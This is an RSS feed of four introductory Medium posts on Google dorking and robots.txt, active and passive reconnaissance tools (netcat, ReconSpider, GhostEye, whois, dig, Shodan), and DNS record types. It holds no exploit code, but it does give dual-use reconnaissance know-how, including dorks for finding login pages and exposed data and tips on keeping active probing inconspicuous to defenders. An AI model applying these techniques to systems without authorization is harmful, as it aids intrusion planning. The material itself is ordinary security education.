            <link>https://medium.com/@akbar47873/google-dorking-eab945f9d4de?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/eab945f9d4de</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[google-hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Tue, 16 Aug 2022 04:57:21 GMT</pubDate>
            <atom:updated>2022-08-16T04:57:21.052Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>What is a Google Dork?</strong></p><p>Google dorking is also known as “Google hacking.”</p><p>Google Dorking or Google hacking refers to using Google search techniques to hack into vulnerable sites or search for information that is not available in public search results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*mMYuGTrAHN7apjR2OF3x_A.png" /></figure><p>The Google search engine works similarly to an interpreter using search strings and operators. For example, you can say that Google reacts sensitively to certain search strings when applied with specific operators. However, you will learn more about it later in the tutorial on ‘what is Google Dorking’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*Ecpbip4RVOf07LeOWJcPEA.png" /><figcaption><strong>Only use these information for legal purposes.</strong></figcaption></figure><p><strong>Google dork cheatsheet</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*qw_ck35r2D0hm6t1OJpr7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*MbR0uoMhcNDnWFnqMgWTxQ.png" /></figure><p><strong>Operators</strong></p><p><strong>1)Search Term</strong></p><p>This operator searches for the exact phrase within speech marks only. This is ideal when the phrase you are using to search is ambiguous and could be easily confused with something else, or when you’re not quite getting relevant enough results back. For example:</p><p>I was willing to search for a fruit “apple” but what I got as a result. not a wrong one but just a confusing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*zkglk907gFvhvGWSnGoNhQ.png" /></figure><p><strong>2)OR</strong></p><p>This self explanatory operator searches for a given search term OR an equivalent term.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*hxNtg7qfGEhe_x_unx_IMw.png" /></figure><p><strong>Syntax</strong></p><ol><li><strong>inurl</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*1ULAJc10f9fl0ej4naJzdw.png" /></figure><p>Filtered result using inurl syntax</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*OJeu1HPmnWobrgeuYXtZWA.png" /></figure><p><strong>2)site and file type</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*_v3I1rTrG8H4d4FZWa2u9Q.png" /></figure><p><strong>3)</strong> <strong>intitle:login page</strong></p><p><strong>site:</strong>patternfly.org <strong>intitle:</strong>login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*tdqqASyuHB0dfxOtgvHGgA.png" /></figure><p><strong>Search Engine Optimisation</strong></p><p>Search Engine Optimisation or SEO is a prevalent and lucrative topic in modern-day search engines. In fact, so much so, that entire businesses capitalise on improving a domains SEO “ranking”. At an abstract view, search engines will “prioritise” those domains that are easier to index. There are many factors in how “optimal” a domain is — resulting in something similar to a point-scoring system.</p><p>To highlight a few influences on how these points are scored, factors such as:</p><p>• How responsive your website is to the different browser types I.e. Google Chrome, Firefox and Internet Explorer — this includes Mobile phones!</p><p>• How easy it is to crawl your website (or if crawling is even allowed …but we’ll come to this later) through the use of “Sitemaps”</p><p>• What kind of keywords your website has (i.e. In our examples if the user was to search for a query like “Colours” no domain will be returned — as the search engine has not (yet) crawled a domain that has any keywords to do with “Colours”</p><p>There are various online tools — sometimes provided by the search engine providers themselves that will show you just how optimised your domain is. For example, let’s use Google’s Site Analyser to check the rating of website :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*lM-WqkgL8RReEUV7YgHeag.png" /></figure><p><strong>robots.txt</strong></p><p>A robots.txt file tells search engine crawlers which URLs the crawler can access on your site. This is used mainly to avoid overloading your site with requests; it is not a mechanism for keeping a web page out of Google. To keep a web page out of Google, block indexing with no index or password-protect the page.</p><p>Robots.txt files are mostly intended for managing the activities of good bots like web crawlers, since bad bots aren’t likely to follow the instructions.</p><p>A bot is an automated computer program that interacts with websites and applications. There are good bots and bad bots, and one type of good bot is called a web crawler bot. These bots “crawl” webpages and index the content so that it can show up in search engine results. A robots.txt file helps manage the activities of these web crawlers so that they don’t overtax the web server hosting the website, or index pages that aren’t meant for public view.</p><p><strong>Example of a robots.txt file</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*DWOhRYdzB9vNvrasEDUBVg.png" /></figure><p><strong>What is a user agent? What does ‘User-agent: *’ mean?</strong></p><p>Any person or program active on the Internet will have a “user agent,” or an assigned name. For human users, this includes information like the browser type and the operating system version but no personal information; it helps websites show content that’s compatible with the user’s system. For bots, the user agent (theoretically) helps website administrators know what kind of bots are crawling the site.</p><p>In the example above, Cloudflare has included “User-agent: *” in the robots.txt file. The asterisk represents a “wild card” user agent, and it means the instructions apply to every bot, not any specific bot.</p><p><strong>How do ‘Disallow’ commands work in a robots.txt file?</strong></p><p>The Disallow command is the most common in the robots exclusion protocol. It tells bots not to access the webpage or set of webpages that come after the command. Disallowed pages aren’t necessarily “hidden” — they just aren’t useful for the average Google or Bing user, so they aren’t shown to them. Most of the time, a user on the website can still navigate to these pages if they know where to find them.</p><p><strong>How Allow full access?</strong></p><p>Such a command would look as follows:</p><p><strong>Disallow:</strong></p><p>This tells bots that they can browse the entire website, because nothing is disallowed.</p><p><strong>Hide the entire website from bots</strong></p><p><strong>Disallow: /</strong></p><p>The “/” here represents the “root” in a website’s hierarchy, or the page that all the other pages branch out from, so it includes the homepage and all the pages linked from it. With this command, search engine bots can’t crawl the website at all.</p><p>In other words, a single slash can eliminate a whole website from the searchable Internet!</p><p><strong>What is the Sitemaps protocol? Why is it included in robots.txt?</strong></p><p>The Sitemaps protocol helps bots know what to include in their crawling of a website.</p><p>A sitemap is an XML file that looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*7hCEJuORhiRaFpR1USZnMg.png" /></figure><p>It’s a machine-readable list of all the pages on a website. Via the Sitemaps protocol, links to these sitemaps can be included in the robots.txt file. The format is: “Sitemaps:” followed by the web address of the XML file. You can see several examples in the Cloudflare robots.txt file above.</p><p>While the Sitemaps protocol helps ensure that web spider bots don’t miss anything as they crawl a website, the bots will still follow their typical crawling process. Sitemaps don’t force crawler bots to prioritize webpages differently.</p><p><strong>References</strong></p><p><a href="https://www.techtarget.com/whatis/definition/Google-dork-query">https://www.techtarget.com/whatis/definition/Google-dork-query</a></p><p><a href="https://www.simplilearn.com/tutorials/cyber-security-tutorial/google-dorking">https://www.simplilearn.com/tutorials/cyber-security-tutorial/google-dorking</a></p><p><a href="https://en.wikipedia.org/wiki/Google_hacking">https://en.wikipedia.org/wiki/Google_hacking</a></p><p><a href="https://www.hackthebox.com/blog/What-Is-Google-Dorking">https://www.hackthebox.com/blog/What-Is-Google-Dorking</a></p><p><a href="https://www.techopedia.com/definition/30938/google-dorking">https://www.techopedia.com/definition/30938/google-dorking</a></p><p><a href="https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06">https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06</a></p><p><a href="https://www.cloudflare.com/en-in/learning/bots/what-is-robots.txt/">https://www.cloudflare.com/en-in/learning/bots/what-is-robots.txt/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eab945f9d4de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Reconnaissance]]></title>
            <link>https://medium.com/@akbar47873/active-reconnaissance-103836196eb7?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/103836196eb7</guid>
            <category><![CDATA[gathering]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Thu, 04 Aug 2022 15:31:43 GMT</pubDate>
            <atom:updated>2022-08-04T15:31:43.307Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>What Is Active Reconnaissance</strong></p><p>Active reconnaissance requires you to make some kind of contact with your target. This contact can be a phone call or a visit to the target company under some pretence to gather more information, usually as part of social engineering. Alternatively, it can be a direct connection to the target system, whether visiting their website or checking if their firewall has an SSH port open. Think of it like you are closely inspecting windows and door locks. Hence, it is essential to remember not to engage in active reconnaissance work before getting signed legal authorization from the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*GA3zHbfp46Fc-RykvjNyyg.png" /></figure><p>Active reconnaissance begins with direct connections made to the target machine. Any such connection might leave information in the logs showing the client IP address, time of the connection, and duration of the connection, among other things. However, not all connections are suspicious. It is possible to let your active reconnaissance appear as regular client activity. Consider web browsing; no one would suspect a browser connected to a target web server among hundreds of other legitimate users. You can use such techniques to your advantage when working as part of the red team (attackers) and don’t want to alarm the blue team (defenders).</p><p>Below are Some common tools and technique to do Active Reconnaissance.</p><p><strong>1)Web Browser</strong></p><p>The web browser can be a convenient tool, especially that it is readily available on all systems. There are several ways where you can use a web browser to gather information about a target.</p><p>On the transport level, the browser connects to:</p><p>TCP port 80 by default when the website is accessed over HTTP</p><p>TCP port 443 by default when the website is accessed over HTTPS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*qH96OYBmwMSFn5jGnlQwqw.png" /></figure><p><strong>FoxyProxy</strong></p><p>lets you quickly change the proxy server you are using to access the target website. This browser extension is convenient when you are using a tool such as Burp Suite or if you need to switch proxy servers regularly.</p><p><strong>Wappalyzer</strong></p><p>provides insights about the technologies used on the visited websites. Such extension is handy, primarily when you collect all this information while browsing the website like any other user.</p><p><strong>2)Ping Command</strong></p><p>the ping command sends a packet to a remote system, and the remote system replies. This way, you can conclude that the remote system is online and that the network is working between the two systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*r7rPu4CsU6M8QOJilEOZhA.png" /></figure><p><strong>3)Netcat</strong></p><p>Netcat or simply nc has different applications that can be of great value to a pentester. Netcat supports both TCP and UDP protocols. It can function as a client that connects to a listening port; alternatively, it can act as a server that listens on a port of your choice. Hence, it is a convenient tool that you can use as a simple client or server over TCP or UDP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*osByvQah95O86Be6DyLBLg.png" /></figure><p><strong>4)TELNET</strong></p><p>The TELNET (Teletype Network) protocol was developed in 1969 to communicate with a remote system via a command-line interface (CLI). Hence, the command telnet uses the TELNET protocol for remote administration. The default port used by telnet is 23. From a security perspective, telnet sends all the data, including usernames and passwords, in cleartext. Sending in cleartext makes it easy for anyone, who has access to the communication channel, to steal the login credentials. The secure alternative is SSH (Secure SHell) protocol.</p><p>Advance Active Reconnaissance Tools.</p><p><strong>1)ReconSpider</strong></p><p>ReconSpider is most Advanced Open Source Intelligence (OSINT) Framework for scanning IP Address, Emails, Websites, Organizations and find out information from different sources.</p><p>ReconSpider can be used by Infosec Researchers, Penetration Testers, Bug Hunters and Cyber Crime Investigators to find deep information about their target.</p><p>ReconSpider aggregate all the raw data, visualize it on a dashboard and facilitate alerting and monitoring on the data.</p><p>Recon Spider also combines the capabilities of Wave, Photon and Recon Dog to do a comprehensive enumeration of attack surface.</p><p><strong>Why it is called ReconSpider?</strong></p><p><strong>ReconSpider = Recon + Spider</strong></p><p><strong>Recon</strong> = Reconnaissance</p><p>Reconnaissance is a mission to obtain information by various detection methods, about the activities and resources of an enemy or potential enemy, or geographic characteristics of a particular area.</p><p><strong>Spider</strong> = Web crawler</p><p>A Web crawler, sometimes called a spider or spiderbot and often shortened to crawler, is an Internet bot that systematically browses the World Wide Web, typically for the purpose of Web indexing (web spidering).</p><p><strong>Download and setup ReconSpider</strong></p><p>Installing and using ReconSpider is very easy. Installation process is very simple.</p><ol><li>Downloading or cloning ReconSpider github repository.</li><li>Installing all dependencies.</li><li>Setting up the Database.</li></ol><p>Step 1 — Cloning ReconSpider on your linux system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*BUKpBXsyVGZs9SedvvC54Q.png" /></figure><p>Step 2 — Make sure python3 and python3-pip is installed on your system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*NWKRRHrjmTyAnZTkezofnA.png" /></figure><p>Step 3 — Installing all dependencies.</p><p>Once you clone and check python installation, you will find directory name as reconspider. Just go to that directory and install using these commands:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*WdJtjUNXiOKZlp7I5r6YPQ.png" /></figure><p>Step 4 — Setting up the Database.</p><p>IP2Proxy Database</p><p><a href="https://lite.ip2location.com/database/px8-ip-proxytype-country-region-city-isp-domain-usagetype-asn-lastseen">IP2Proxy™ LITE IP-PROXYTYPE-COUNTRY-REGION-CITY-ISP-DOMAIN-USAGETYPE-ASN-LASTSEEN Database</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*v9SnKwl1VSL_wzuXIDpjvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*M9Tb3jinYy55LGzmGM46wA.png" /></figure><p>Usage of ReconSpider</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*wnIeQ_ZbIOWge9mBc2rrKA.png" /></figure><p><strong>IP</strong></p><p>This option gathers all the information of given IP Address from public resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*0cqDAR09RXAwt3fxB15Y4A.png" /></figure><p><strong>HONEYPOT</strong></p><p>This option allows you to identify honeypots! The probability that an IP is a honeypot is captured in a “Honeyscore” value that can range from 0.0 to 1.0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*HjPmFnkks4XVpvbBrbhOrQ.png" /></figure><p><strong>2)Ghost Eye</strong></p><p>GhostEye is an information gathering, footprinting, scanner, and Reconnaissance tool built with Python 3. It captures information about the target and gives us detailed information about our objectives.</p><p><strong>Install Ghost Eye:</strong></p><p>git clone <a href="https://github.com/BullsEye0/ghost_eye.git">https://github.com/BullsEye0/ghost_eye.git</a></p><p>cd ghost_eye</p><p>pip3 install -r requirements.txt</p><p>Use:</p><p>python3 ghost_eye.py</p><p>It only requires a domain or IP address. GhostEye is compatible with all Linux distributions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*QwbFYLjN7ILDiFRxgXbROg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*DlKypQszUB4M0k_GoFOERQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*Fg0j365sbUpYlN30qI51bQ.png" /></figure><p><strong>Features:</strong></p><p>It is a user-friendly tool.</p><p>Provide an option to select for our attack preference.</p><p>It has a feature of Etherape which is a Graphical Network Monitor and a packet sniffer that collects information and displays it graphically.</p><p>Etherape is compatible with Ethernet, FDDI, Token Ring, ISDN, PPP, SLIP, and WLAN devices, as well as a variety of encapsulations.</p><p>It can filter traffic to be shown and read packets from files as well as actual network data.</p><p><strong>3)Hawkscan</strong></p><p>Hawkscan is a free and open-source tool available on Github. Hawkscan is based upon Open Source Intelligence (OSINT). Hawkscan is the easiest and useful tool for reconnaissance. The interface of Hawkscan is very similar to Metasploit 1 and Metasploit 2. Hawkscan provides a command-line interface that you can run on Kali Linux. This tool can be used to get information about our target(domain) website and IP address.</p><p>Installation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*3ZGnblV04rCWAvVril2G1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*sFnvpRuzNgChBykjbe_qKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*4mfpGSv_EuqD6kLnaL11uQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*q3m6YmQluUVc-2ZwcV64gw.png" /></figure><p><strong>Features of Hawkscan:</strong></p><p>Hawkscan is a free and open-source tool available on Github.</p><p>Hawkscan is an Open Source Intelligence and Information Gathering Tool (OSINT).</p><p>Hawkscan is used for performing reconnaissance on websites and webapps.</p><p>Hawkscan is a lightweight tool available on Github.</p><p>Hawkscan is easy to use.</p><p>Hawkscan interface is just like metasploitable 1 and metasploitable 2.</p><p>Hawkscan can perform reconnaissance on multiple parameters such as website, email address etc.</p><p>Hawkscan is available for Kali Linux.</p><p>Hawkscan works as an open-source tool intelligence tool which means open-source information is used by this tool to perform reconnaissance.</p><p>Hawkscan is written in python language.</p><p>Hawkscan uses the following modules to perform reconnaissance dns, netcraft, whois, bing, dns, github, dnsdumpster etc.</p><p><strong>References</strong></p><p><a href="https://github.com/bhavsec/reconspider">https://github.com/bhavsec/reconspider</a></p><p><a href="https://kalilinuxtutorials.com/reconspider/">https://kalilinuxtutorials.com/reconspider/</a></p><p><a href="https://github.com/BullsEye0/ghost_eye">https://github.com/BullsEye0/ghost_eye</a></p><p><a href="https://www.geeksforgeeks.org/how-to-install-ghost_eye-tool-in-kali-linux/">https://www.geeksforgeeks.org/how-to-install-ghost_eye-tool-in-kali-linux/</a></p><p><a href="https://github.com/c0dejump/HawkScan">https://github.com/c0dejump/HawkScan</a></p><p><a href="https://www.geeksforgeeks.org/hawkscan-reconnaissance-and-information-gathering-tool-in-kali-linux/">https://www.geeksforgeeks.org/hawkscan-reconnaissance-and-information-gathering-tool-in-kali-linux/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=103836196eb7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Passive Reconnaissance]]></title>
            <link>https://medium.com/@akbar47873/passive-reconnaissance-eedbe31634ae?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/eedbe31634ae</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Wed, 03 Aug 2022 09:02:43 GMT</pubDate>
            <atom:updated>2022-08-03T09:02:43.862Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>What is Reconnaissance?</strong></p><p>Reconnaissance (recon) can be defined as a preliminary survey to gather information about a target. It is the first step to gain an initial foothold on a system.</p><p>We divide reconnaissance into:</p><p>1)<strong>Passive Reconnaissance</strong></p><p>2)<strong>Active Reconnaissance</strong></p><p><strong>So what is Passive Reconnaissance?</strong></p><p>Passive reconnaissance is an attempt to gather information about targeted computers and networks without actually communicating with them. The term originated from the military, which does passive reconnaissance before embarking on an information-gathering mission. Instead of attacking right away, they first obtain the necessary information to direct their strategies. Today, passive reconnaissance has become the first step hackers take before exploiting system or network vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_xWDPyy5vvKPJILSWPMVFg.jpeg" /></figure><p>Think of passive reconnaissance as stalking someone on social media. While you’re not necessarily talking directly to your subject, you are actively seeking information on him/her.</p><p><strong>How attacker use Passive reconnaissance</strong></p><p>Passive reconnaissance is part of the pre-attack phase for hackers. Attackers first “get to know” their targets to ensure that they have all the relevant information to make their attacks successful. They can do so by gathering intelligence in two ways―passive or active reconnaissance.</p><p>Passive reconnaissance activities include many activities, for instance:</p><ul><li>Looking up DNS records of a domain from a public DNS server.</li><li>Checking job ads related to the target website.</li><li>Reading news articles about the target company.</li></ul><p>In this article, we will concentrate on passive reconnaissance tools and techniques. I am listing some techniques as listed below:</p><p><strong>1-By using search engine:</strong> You can use Google, Bing and other search engines to extract information such as username, password, hidden web pages, technology, the file contains metadata, etc. You can also use the popular google hacking database which is available on</p><p><a href="https://www.exploit-db.com/google-hacking-database">https://www.exploit-db.com/google-hacking-database</a>.</p><p><strong>2-Guess Hostname:</strong> Use nslookup command followed by whois to get information related to the hostname. Alternatively, you can use <a href="https://www.ripe.net/">https://www.ripe.net/</a> to gain the same information.</p><p><strong>3-Whois:</strong> WHOIS is a request and response protocol that follows the RFC 3912 specification. A WHOIS server listens on TCP port 43 for incoming requests. The domain registrar is responsible for maintaining the WHOIS records for the domain names it is leasing. The WHOIS server replies with various information related to the domain requested. Of particular interest, we can learn:</p><p><strong>Registrar:</strong> Via which registrar was the domain name registered?</p><p><strong>Contact info of registrant:</strong> Name, organization, address, phone, among other things. (unless made hidden via a privacy service)</p><p><strong>Creation, update, and expiration dates:</strong> When was the domain name first registered? When was it last updated? And when does it need to be renewed?</p><p><strong>Name Server:</strong> Which server to ask to resolve the domain name?</p><p>The whois command, which enables individuals to query databases that maintain information on the registered users of an Internet resource, such as a domain name or IP address, is generally used to achieve this.</p><p>A whois query may return names, physical addresses, phone numbers, and e-mail addresses (which may be valuable in social engineering attacks), as well as IP addresses and DNS server names, depending on the database searched.</p><p>The most convenient way to perform a whois inquiry on a target is via command prompt using the <strong>whois &lt;target IP or domain name&gt;</strong> command</p><p><strong>4-DNS Lookup</strong>: For more advanced DNS queries and additional functionality, you can use dig, the acronym for “Domain Information Groper,” if you are curious. Let’s use dig to look up the MX records and compare them to nslookup. We can use dig DOMAIN_NAME, but to specify the record type, we would use dig DOMAIN_NAME TYPE. Optionally, we can select the server we want to query using <strong>dig @SERVER DOMAIN_NAME</strong> TYPE.</p><p>SERVER is the DNS server that you want to query.</p><p>DOMAIN_NAME is the domain name you are looking up.</p><p>TYPE contains the DNS record type, as shown in the table provided earlier.</p><p><strong>Drawback of DNS lookup and nslookup tools</strong></p><p>DNS lookup tools, such as nslookup and dig, cannot find subdomains on their own. The domain you are inspecting might include a different subdomain that can reveal much information about the target. For instance, if tryhackme.com has the subdomains wiki.tryhackme.com and webmail.tryhackme.com, you want to learn more about these two as they can hold a trove of information about your target. There is a possibility that one of these subdomains has been set up and is not updated regularly. Lack of proper regular updates usually leads to vulnerable services. But how can we know that such subdomains exist?</p><p>We can consider using multiple search engines to compile a list of publicly known subdomains. One search engine won’t be enough; moreover, we should expect to go through at least tens of results to find interesting data. After all, you are looking for subdomains that are not explicitly advertised, and hence it is not necessary to make it to the first page of search results. Another approach to discover such subdomains would be to rely on brute-forcing queries to find which subdomains have DNS records.</p><p>To avoid such a time-consuming search, one can use an online service that offers detailed answers to DNS queries, such as DNSDumpster.</p><p><strong>5-DNSDumpster</strong>: DNSdumpster.com is a FREE domain research tool that can discover hosts related to a domain. Finding visible hosts from the attackers perspective is an important part of the security assessment process.</p><p>DNSDumpster will also represent the collected information graphically. DNSDumpster displayed the data from the table earlier as a graph. You can see the DNS and MX branching to their respective servers and also showing the IP addresses.</p><p><strong>6-Shodan:</strong> Shodan (Sentient Hyper-Optimised Data Access Network) is a search engine designed to map and gather information about internet-connected devices and systems. Shodan is sometimes referred to as a search engine for the internet of things (IoT).</p><p>Shodan makes it possible to detect devices that are connected to the internet at any given time, the locations of those devices and their current users. Such devices could be in almost any type of system, including business networks, surveillance cameras, industrial control systems (ICS) and smart homes. Shodan attempts to grab the system’s banner directly, gathering the data by way of the associated server’s ports. Banner grabbing is a key step for penetration testing as it helps identify vulnerable systems. Shodan also searches corresponding exploits in the search platform’s exploit section.</p><p><strong>References</strong></p><p><a href="https://tryhackme.com/room/passiverecon">https://tryhackme.com/room/passiverecon</a></p><p><a href="https://nudesystems.com/passive-reconnaissance-explained-methods-tools/">https://nudesystems.com/passive-reconnaissance-explained-methods-tools/</a></p><p><a href="https://www.whois.com/">https://www.whois.com/</a></p><p><a href="https://www.exploit-db.com/google-hacking-database">https://www.exploit-db.com/google-hacking-database</a></p><p><a href="https://toolbox.googleapps.com/apps/dig/">https://toolbox.googleapps.com/apps/dig/</a></p><p><a href="https://www.techtarget.com/whatis/definition/Shodan">https://www.techtarget.com/whatis/definition/Shodan</a></p><p><a href="https://www.shodan.io/">https://www.shodan.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eedbe31634ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DNS Records]]></title>
            <link>https://medium.com/@akbar47873/dns-records-e52cdfff72d4?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/e52cdfff72d4</guid>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Tue, 02 Aug 2022 13:29:27 GMT</pubDate>
            <atom:updated>2022-08-02T13:29:27.785Z</atom:updated>
            <content:encoded><![CDATA[<p><em>What Does DNS Record Mean?</em></p><p>A DNS record is a database record used to map a URL to an IP address. DNS records are stored in DNS servers and work to help users connect their websites to the outside world. When the URL is entered and searched in the browser, that URL is forwarded to the DNS servers and then directed to the specific Web server. This Web server then serves the queried website outlined in the URL or directs the user to an email server that manages the incoming mail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*4vb-NMUuYTzYBYUFSuSKLw.png" /></figure><p>The most common record types are A (address), CNAME (canonical name), MX (mail exchange), NS (name server), PTR (pointer), SOA (start of authority) and TXT (text record).</p><p>Lets try to understand DNS workflow with the below example.</p><p>Different types of DNS records are as follows:</p><p><strong>Name Server (NS) Record:</strong> Describes a name server for the domain that permits DNS lookups within several zones. Every primary as well as secondary name server must be reported via this record.</p><p><strong>Mail Exchange (MX) Record:</strong> Permits mail to be sent to the right mail servers located in the domain. Other than IP addresses, MX records include fully-qualified domain names.</p><p><strong>Address (A) Record:</strong> Used to map a host name to an IP address. Generally, A records are IP addresses. If a computer consists of multiple IP addresses, adapter cards, or both, it must possess multiple address records.</p><p><strong>Canonical Name (CNAME) Record: </strong>Can be used to set an alias for the host name</p><p><strong>Text (TXT) Record:</strong> Permits the insertion of arbitrary text into a DNS record. These records add SPF records into a domain.</p><p><strong>Time-to-Live (TTL) Record:</strong> Sets the period of data, which is ideal when a recursive DNS server queries the domain name information</p><p><strong>Start of Authority (SOA) Record:</strong> Declares the most authoritative host for the zone. Every zone file should include an SOA record, which is generated automatically when the user adds a zone.</p><p><strong>Pointer (PTR) Record</strong>: Creates a pointer, which maps an IP address to the host name in order to do reverse lookups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*iDnE_-UlhqpCDp-c4rSfHA.png" /></figure><p><strong><em>DNS Records Extra Shot.</em></strong></p><p>DNS records are an essential part of getting websites to operate correctly. They serve as a map that tells the DNS server (or the digital database that lists every website on the internet) which domain every IP address is associated with, and how they should handle the access requests sent to them.</p><p>Various DNS record strings serve as commands on how the server should approach them, and they ensure that your site functions the way you intend it to. Although there are various types of DNS records that all perform different actions, these four record types are the most commonly used.</p><p><strong>A records</strong></p><p><strong>What is an A record?</strong></p><p>Address records, commonly known as host records, resolve IP addresses. They connect the domains you register to the correct IP address so that your website will properly resolve when someone types in your web address.</p><p><strong>When do you use an A record?</strong></p><p>A records are used when you want to connect a domain name you’ve registered with a hosted website. Usually, two A records are set up that will successfully point to both a bare and wildcard version of the domain (i.e., yoursite.com and <a href="http://yoursite.com)./">http://yoursite.com).</a> Additional A records can also be created for subdomains as well.</p><p><strong>CNAME records</strong></p><p><strong>What is a CNAME record?</strong></p><p>CNAME records, or Canonical Name Records, only resolve to domains and subdomains. Unlike A records, they cannot be bare (i.e., there needs to be www. in front of them for the URL to properly resolve).</p><p><strong>When do you use a CNAME record?</strong></p><p>Why would you use a CNAME record instead of an A record? Well, CNAME records are most often used when you want to direct part of your website to an external link. For example, if you wanted to set up an eCommerce site to complement your existing website, a CNAME record would be the simplest way to link them together.</p><p><strong>MX records</strong></p><p><strong>What is an MX record?</strong></p><p>MX stands for Mail Exchange and is very different from other records. Unlike most DNS records that resolve to text or the destinations of various IP addresses, MX records are used to direct emails sent to custom addresses associated with a domain name.</p><p><strong>When do you use an MX record?</strong></p><p>If you want to create custom email addresses through your domain name, MX records must be set up so that any emails that go to that address will be directed to the right server and get delivered to you. Typically, your email provider will give you the MX records you need, and then you’ll add it to the domain it’s associated with to finish setup.</p><p><strong>TXT records</strong></p><p><strong>What is a TXT record?</strong></p><p>As you can probably guess, a TXT record is simply a text record. Although these records cannot be used to change your domain in any way, they are useful for making it easier to search for and find your domain.</p><p><strong>When do you use a TXT record?</strong></p><p>Text records are most often used by services like Google. By adding certain strings of characters to your TXT file, search engines and other services are able to search for your domain as well as verify that you are the owner of the domain.</p><p><strong><em>References</em></strong></p><p>· <a href="https://www.techopedia.com/definition/5349/dns-record#:~:text=A%20DNS%20record%20is%20a,to%20the%20specific%20Web%20server.">https://www.techopedia.com/definition/5349/dns-record#:~:text=A%20DNS%20record%20is%20a,to%20the%20specific%20Web%20server.</a></p><p>· <a href="https://www.name.com/blog/4-dns-record-types-you-should-know-about">https://www.name.com/blog/4-dns-record-types-you-should-know-about</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e52cdfff72d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>